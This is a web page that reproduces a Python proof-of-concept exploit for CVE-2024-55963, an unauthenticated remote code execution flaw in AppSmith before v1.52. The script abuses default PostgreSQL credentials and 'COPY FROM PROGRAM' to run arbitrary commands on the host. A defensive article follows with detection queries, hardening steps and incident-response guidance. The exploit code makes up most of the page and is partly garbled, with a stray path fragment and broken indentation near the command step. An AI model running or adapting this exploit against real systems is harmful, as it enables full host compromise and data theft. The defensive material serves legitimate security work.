AppSmith 1.47 - Remote Code Execution (RCE)

Exploit Author: Nishanth Gaddam Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Unknown Published Date: 2025-04-03

# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.

import requests
import json
import pyfiglet
import argparse

# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE")  # Replace with your desired title
print(banner)

# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()

# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command

if not base_url.startswith("http://") and not base_url.startswith("https://"):
    base_url = "http://" + base_url

# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
    "email": "poc1@poc.com",
    "password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()

# Login request
login_url = f"{base_url}/api/v1/login"  # Adjust the URL as needed
login_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/user/login",
    "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}

login_data = {
    "username": "poc1@poc.com",  # Adjusted to match the provided request
    "password": "Testing123!"
}

# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()

# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
    # Split the Set-Cookie header to get the cookie name and value
    cookie_name, cookie_value = set_cookie.split(';')[0].split('=')

# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
    fourth_request_url = f"{base_url}/api/v1/workspaces"
    fourth_request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Requested-By": "Appsmith",
        "Connection": "keep-alive",
        "Referer": f"{base_url}/applications",
        "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
    }
    
    fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
    fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
    fourth_response.raise_for_status()

    # Extract the 'id' from the response if it exists
    try:
        response_json = fourth_response.json()
        workspace_id = response_json.get("data", {}).get("id")
    except ValueError:
        print("Response content is not valid JSON:", fourth_response.text)  # Print the raw response for debugging

    if workspace_id:
        fifth_request_url = f"{base_url}/api/v1/applications"
        fifth_request_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
            "X-Requested-By": "Appsmith",
            "Content-Length": "161",
            "Origin": base_url,
            "Connection": "keep-alive",
            "Referer": f"{base_url}/applications?workspaceId={workspace_id}",
            "Cookie": f"{cookie_name}={cookie_value}",
        }
        
        fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})

        print('Creating a new application...')
        fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
        fifth_response.raise_for_status()

        try:
            response_json = fifth_response.json()
            application_id = response_json.get("data", {}).get("id")
        except ValueError:
            print("Response content is not valid JSON:", fifth_response.text)

        # Sixth request to get workspace details
        if workspace_id:
            sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
            sixth_request_headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                "Accept": "application/json, text/plain, */*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                "Connection": "keep-alive",
                "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                "Cookie": f"{cookie_name}={cookie_value}",
            }
            
            print('Getting workspace details...')
            sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
            sixth_response.raise_for_status()
            
            # Extract all plugin IDs from the response
            try:
                response_json = sixth_response.json()
                plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]

                # Loop through each plugin ID for the seventh request
                print(f'Searching for vulnerable postgres database...')
                for plugin_id in plugin_ids:
                    # Seventh request to get the form data for the plugin
                    seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
                    seventh_request_headers = {
                        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                        "Accept": "application/json, text/plain, */*",
                        "Accept-Language": "en-US,en;q=0.5",
                        "Accept-Encoding": "gzip, deflate",
                        "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                        "Connection": "keep-alive",
                        "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
                        "Cookie": f"{cookie_name}={cookie_value}",
                    }
                    
                    try:
                        seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
                        seventh_response.raise_for_status()
                        
                        # Extracting the port value from the seventh response
                        try:
                            seventh_response_json = seventh_response.json()
                            if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
                                form_data = seventh_response_json['data']['form']
                                if any("postgres" in str(item) for item in form_data):
                                    print(f"Vulnerable postgres database found.")
                                    break
                            else:
                                pass
                        except (ValueError, IndexError) as e:
                            pass
                    except requests.exceptions.HTTPError as e:
                        print(f"Error checking plugin {plugin_id}: {e}")
                        continue

                # Proceed to request 8 after finding "postgres"
                # Proceed to request 8 after finding "postgres"
                if "postgres" in str(seventh_response_json):
                    try:
                        # Try the environments API endpoint
                        eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
                        eighth_request_headers = {
                            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                            "Accept": "application/json, text/plain, */*",
                            "Accept-Language": "en-US,en;q=0.5",
                            "Accept-Encoding": "gzip, deflate",
                            "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                            "Connection": "keep-alive",
                            "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                            "Cookie": f"{cookie_name}={cookie_value}",
                        }
                        
                        print('Getting the workspace details...')
                        eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
                        eighth_response.raise_for_status()
                        
                        # Extracting the workspace ID from the eighth response
                        try:
                            eighth_response_json = eighth_response.json()
                            workspace_data = eighth_response_json.get("data", [{}])[0]
                            workspace_id_value = workspace_data.get("id")
                        except (ValueError, IndexError):
                            print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
                    except requests.exceptions.HTTPError as e:
                        # If the environments API fails, use the workspace ID we already have
                        print(f"Could not fetch environment details: {e}")
                        print("Using existing workspace ID for datasource creation...")
                        workspace_id_value = workspace_id
            except (ValueError, IndexError):
                print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)

            # After the eighth request to get workspace details
            if workspace_id_value:
                ninth_request_url = f"{base_url}/api/v1/datasources"
                ninth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                ninth_request_data = {
                    "pluginId": plugin_id,
                    "datasourceStorages": {
                        workspace_id_value: {
                            "datasourceConfiguration": {
                                "properties": [None, {"key": "Connection method", "value": "STANDARD"}],
                                "connection": {
                                    "mode": "READ_WRITE",
                                    "ssl": {"authType": "DEFAULT"}
                                },
                                "endpoints": [{"port": "5432", "host": "localhost"}],
                                "sshProxy": {"endpoints": [{"port": "22"}]},
                                "authentication": {
                                    "databaseName": "postgres",
                                    "username": "postgres",
                                    "password": "postgres"
                                }
                            },
                            "datasourceId": "",
                            "environmentId": workspace_id_value,
                            "isConfigured": True
                        }
                    },
                    "name": "Untitled datasource 1",
                    "workspaceId": workspace_id
                }

                print('Connecting to vulnerable postgres database...')
                ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
                ninth_response.raise_for_status()

                # Extracting the ID from the response
                try:
                    ninth_response_json = ninth_response.json()
                    datasource_id = ninth_response_json.get("data", {}).get("id")
                except (ValueError, KeyError):
                    print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)

            # After the ninth request to create the datasource
            if datasource_id:
                # 10th Request
                tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                tenth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                tenth_request_data = {
                    "title": "SELECT",
                    "body": "create table poc (column1 TEXT);",
                    "suggested": True
                }

                print("Creating the table 'poc'...")
                tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
                tenth_response.raise_for_status()

                # 11th Request
                eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                eleventh_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                eleventh_request_data = {
                    "title": "SELECT",
                    "body": f"copy poc from program '{command_arg}';",
                    "suggested": True
                }/CVE-2024-55963-Appsmith-RCE

                print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()

# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
twelfth_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for the 12th schema preview
twelfth_request_data = {
    "title": "SELECT",
    "body": "select * from poc;",
    "suggested": True
}

# Print statement before the 12th request
print("Reading command output from poc table...\n")

# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)

# Extracting and printing the response from the 12th schema preview
try:
    twelfth_response_json = twelfth_response.json()
    
    # Extracting the specific data
    body_data = twelfth_response_json.get("data", {}).get("body", [])
    column1_values = [item.get("column1") for item in body_data]  # Extract only the column1 values
    print("Command output:")
    print("----------------------------------------")
    for value in column1_values:
        print(value)  # Print each column1 value
    print("----------------------------------------\n")

except (ValueError, KeyError):
    print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text)  # Print the raw response for debugging

# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
cleanup_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for cleanup
cleanup_request_data = {
    "title": "SELECT",
    "body": "DROP TABLE poc;",  # Command to drop the table
    "suggested": True
}

# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)

AppSmith 1.47 — Remote Code Execution (CVE-2024-55963): What Administrators and Developers Need to Know

This article explains the critical Remote Code Execution (RCE) vulnerability assigned CVE-2024-55963 that affected AppSmith prior to v1.52. It covers the technical root cause at a high level, the impact, detection guidance, practical mitigation and hardening recommendations, and incident-response steps. The aim is to help defenders quickly assess exposure and remediate safely without providing exploit instructions.

Executive summary

Vulnerability: Unauthenticated remote code execution through AppSmith's interaction with its internal PostgreSQL instance (CVE-2024-55963).
Affected versions: AppSmith prior to v1.52 (confirmed in v1.47 during public testing).
CVSS: 9.8 (Critical) — remote, unauthenticated, full confidentiality / integrity / availability impact.
Root cause (high level): AppSmith’s internal database configuration and its ability to create and execute SQL via the application allowed an attacker to leverage Postgres functionality (COPY FROM PROGRAM) to run arbitrary system commands.
Immediate action: Patch AppSmith to v1.52+ and validate database privilege configuration.

Vulnerability timeline (concise)

Event	Date/Detail
Discovery / reporting	Reported publicly via security research (Rhino Security Labs / researchers) — April 2025 (see vendor advisories)
CVE assignment	CVE-2024-55963
Fix and recommended upgrade	AppSmith v1.52+ contains mitigations and/or configuration changes — upgrade recommended immediately

Technical background (high level)

PostgreSQL provides powerful features for file I/O and interacting with the server environment. Some of these features (for example, server-side file access or executing system programs from SQL) require superuser privileges. If an application has the ability to issue arbitrary SQL queries using a connection that holds superuser privileges—or if default/weak credentials are left in place—attackers can escalate that capability into code execution at the host level.

In this case, AppSmith’s UI and API allowed creation/configuration of datasources and schema-preview queries. When combined with an accessible, overly-privileged internal PostgreSQL instance (e.g., default credentials, superuser-enabled connection available to the AppSmith process), an unauthenticated attacker could trigger server-side commands. The vulnerability does not stem from a PostgreSQL bug in isolation, but from a dangerous combination of: application functionality that accepts SQL, default/weak database access, and PostgreSQL features that allow program execution when used by a superuser.

Why this is critical

Unauthenticated remote access — no credentials required to trigger the flow.
Execution occurs with database host privileges — potential full system compromise.
Typical real-world impact includes data exfiltration, persistence, lateral movement, and full host takeover.

Detection and indicators of compromise (IoCs)

Look for anomalous activity centered around the PostgreSQL host and the AppSmith application process.

Database logs containing unusual SQL statements (for example, COPY ... FROM PROGRAM, or unexpected CREATE TABLE statements from anonymous sessions).
New or unexpected database users, roles, or databases created by the AppSmith process.
System logs on the DB host showing spawned programs or unusual child processes of the postgres process.
Network telemetry: connections from unexpected sources to the DB’s TCP port (default 5432) and traffic to external hosts originating from the DB host.
Application logs showing unauthenticated API calls that create datasources, workspaces, or schema-preview calls.

Example safe detection queries / checks (non-actionable):

-- Check for superuser roles in PostgreSQL
SELECT rolname, rolsuper FROM pg_roles ORDER BY rolsuper DESC, rolname;

Explanation: This query lists roles and highlights which ones have superuser privileges. Administrators should ensure the application connection user is not a superuser.

-- Search PostgreSQL logs for unusual COPY or program-related entries (example grep)
grep -iE "copy .* from program|program" /var/log/postgresql/postgresql-*.log

Explanation: This is a detection heuristic to find entries that reference server-side program execution attempts. Adjust paths/names per your environment and logging configuration.

Mitigation and hardening (recommended immediate and medium‑term actions)

The single most important step is to patch AppSmith to v1.52 or later as provided by the vendor. After that, perform the following mitigations to reduce blast radius and prevent similar issues in the future:

Patch: Upgrade AppSmith to the vendor’s fixed release (v1.52+).
Remove or restrict default database credentials: Do not run application connections as the postgres superuser. Use a dedicated, minimally privileged user for application DB access.
Enforce least privilege in PostgreSQL: Application roles should be NOSUPERUSER and granted only the explicit privileges required (CONNECT, usage on specific schemas, specific CRUD permissions).
Harden pg_hba.conf: Restrict which hosts and users can connect to Postgres. Prefer local (socket) connections for internal services and require strong authentication (SCRAM-SHA-256).
Network segmentation and firewalling: Block access to the database port (5432) from untrusted networks. Only the application and trusted admin hosts should be allowed.
Run the database with constrained privileges: Host-level protections such as running PostgreSQL under a dedicated OS user and using container isolation with minimal capabilities reduce risk if a DB process is abused.
Audit logging: Enable Postgres statement logging and system process auditing to facilitate detection of suspicious activity.
Secrets handling: Do not embed DB superuser credentials in application images or configuration files; use a secrets manager with strict access controls.

Example safe configuration snippets and actions

# Example pg_hba.conf lines (restrict to localhost and require SCRAM authentication)
# TYPE  DATABASE        USER            ADDRESS                 METHOD
local   all             all                                     scram-sha-256
host    all             all             127.0.0.1/32            scram-sha-256
host    all             all             ::1/128                 scram-sha-256

Explanation: The snippet shows a conservative pg_hba.conf configuration that only permits local connections authenticated with SCRAM-SHA-256. Adjust network CIDRs if remote hosts need access and ensure credentials are strong.

-- Create a dedicated non-superuser role for AppSmith
CREATE ROLE appsmith_db_user LOGIN PASSWORD 'strong-password-here' NOSUPERUSER;
GRANT CONNECT ON DATABASE appsmith_db TO appsmith_db_user;
-- Then grant only the needed schema/table privileges (example)
GRANT USAGE ON SCHEMA public TO appsmith_db_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO appsmith_db_user;

Explanation: Create and use a non-superuser DB role and assign only necessary permissions. Replace passwords and privileges to match your security policy.

Application-side recommendations (for AppSmith admins and developers)

Ensure AppSmith is not deployed with an internal database configured to accept connections using default or known credentials. If AppSmith provisions or bundles a DB, change credentials immediately after install.
Disable features that allow arbitrary SQL execution via unauthenticated endpoints (if such configuration options exist) or restrict them to authenticated, authorized administrator roles only.
Whitelist allowed plugins and datasource types, and apply strict validation and sanitization on any user-supplied SQL fragments.
Adopt an E2E monitoring strategy for application requests that create datasources, execute schema-preview or admin actions and correlate with DB logs.

Incident response checklist (if you suspect exploitation)

Isolate the affected application and database hosts from the network (preserve volatile evidence by taking memory images if possible).
Collect application logs, database logs, and OS-level logs for the relevant timeframe.
Identify any accounts or credentials created, changed, or used during the suspected window — rotate all secrets for the environment.
Search for indicators listed in the Detection section and collect any suspicious artifacts (files, cron entries, new services).
If compromise is confirmed, rebuild the affected hosts from known-good images after forensic capture.
Notify stakeholders and follow required legal / regulatory disclosure processes.

Developer security suggestions to avoid similar issues

Design default installations so that database superuser credentials are never accessible to the application process. Use role-based access and ephemeral credentials where possible.
Limit functionality that enables arbitrary SQL from unauthenticated or low-privileged contexts. API endpoints that accept freeform SQL must require strong authentication and authorization checks.
Implement stronger runtime privilege separation: application containers should have no direct ability to access host-level resources unless explicitly intended.
Introduce security tests in CI that validate privilege boundaries (e.g., ensure the app’s DB user is not a superuser).

Conclusion

CVE-2024-55963 is a high-severity issue that stems from an application allowing unauthenticated flows to reach an over-privileged PostgreSQL instance. The vendor-provided fix (AppSmith v1.52+) should be applied immediately. Beyond patching, defenders should implement least-privilege database users, harden pg_hba.conf and network access, enable robust logging/auditing, and ensure secrets are managed securely. These controls significantly reduce the risk of similar server-side command execution vulnerabilities in the future.